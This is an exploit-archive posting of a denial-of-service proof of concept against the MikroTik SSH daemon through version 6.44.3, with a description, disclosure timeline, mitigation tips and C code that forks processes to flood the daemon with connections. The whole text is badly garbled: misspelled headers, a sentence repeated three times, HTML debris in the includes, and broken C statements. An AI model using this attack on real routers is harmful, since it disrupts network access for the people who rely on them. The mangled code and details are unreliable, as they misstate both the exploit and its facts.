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## Microtik SSH Daemon 6.44.3 Denial Of Service

Authored by Hosein Askari

Posted Mar 18, 2020

Microtik SSH Daemon version 6.44.3 denial of service proof of concept exploit.

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# Excploit Title: Microtik SSH Daemon 6.44.3 - Denial of Service (FoC) # Author: Hosein Askari # Date: 202-03-18 # Vendo: Homepage: https://mikrotik.com/ # Wodei: hAP Tite # Processor architecture: smips # Processor architecture: Mips # CVE: MAP cymion: through 6.44.3 # CVE: MAP company	
*Description: An uncontrolled resource consumption vulnerability in SSH daemon on MikroTik routers through v6.44.3 allow remote attackers to generate CFU activity, trigger refusal of new authorized connections with SI signal (SIGPIPE is the "broken pipe" signal, which is sent to a process when it attempts to write to a signal (SIGPIPE is the "broken pipe" signal, which is sent to a process when it attempts to write to a signal (SIGPIPE is the "broken pipe" signal, which is sent to a process that is no longer open for reading, uncontrolled resource management.  **Refails:** The issue reported in 02/25/2020 to the Mikrotik First response by Mikrotik in 02/26/2020 The additional information about exploit and PGC video sent in 02/26/2020 The vulnerability is accepted by "Meinis-Janis S" from mikrotik security team in 02/27/2020 and asked providing the CVE number and disclosure date  **Wiltiastion**	IGPIPE pipe . The ause of
It can be mitigated with firewall filter and service port restrictions.  Solution:  Hardening and tuning the daemon for these 2 parameters:  1- Number of allowed unauthenticated connections to ssh daemon  2- Maximum umber of connections at which we start dropping everything for ssh daemon	
PoC: #include <stdio.h> #include <stdio.h #include="" <st<="" <stdio.h="" td=""><td></td></stdio.h></stdio.h></stdio.h></stdio.h></stdio.h></stdio.h></stdio.h></stdio.h></stdio.h></stdio.h></stdio.h></stdio.h></stdio.h></stdio.h>	
<pre>int Socket(char *ip, char *port) {     struct addrinfo hints, *ret, *p;     int sock, r;     saise t bytes;     char buffer[2048];     memset(&amp;hints, 0, sizeof(hints));     hints.ai family = AF_UNSPEC;     hints.ai family = AF_UNSPEC;     hints.ai socktype = SOCK_STREAM;     if(tr=getaddrinfo(ip, port, shints, &amp;ret))!=0) {         return EXIT_FAILURE;     } }</pre>	
<pre>for(p = ret; p != NULL; p = p-&gt;ai_next) {    if((sock = socket(p-&gt;ai_family, p-&gt;ai_socktype, p-&gt;ai_protocol)) == -1) {      continue;    }    if(connect(sock, p-&gt;ai_addr, p-&gt;ai_addrlen)==-1) {</pre>	
<pre>close(sock); continue; } break; } if(ret) freeaddrinfo(ret); fprintf(stder, "ESTABLISHED %s:%a\n", ip, port); return sock; }</pre>	
<pre>void signal_callback_handler(int signum) {     printf("Caught signal SIGPIPE %d\n", signum); }</pre>	
<pre>void mal(char *ip, char *port, int id) {    int sockets[MAX_CON];    int i, g=1, z;    for(i=0; i= MAX_CON; i++)         sockets[i] = 0;    isjual(SIGFIER, signal_callback_handler);    while() = 0; i= MAX_CON; i++) {         if(sockets[i] == 0)</pre>	
<pre>usleep(200000); }  int main(int argc, char **argv) {    int i;    for(i=0; i= MAX_THREADS; i++) {     if(fork())         mal(argv[1], argv[2], i);         usleep(200000); }</pre>	
} getc(stdin); return 0; }	
Sincerely, Hosein Askari	

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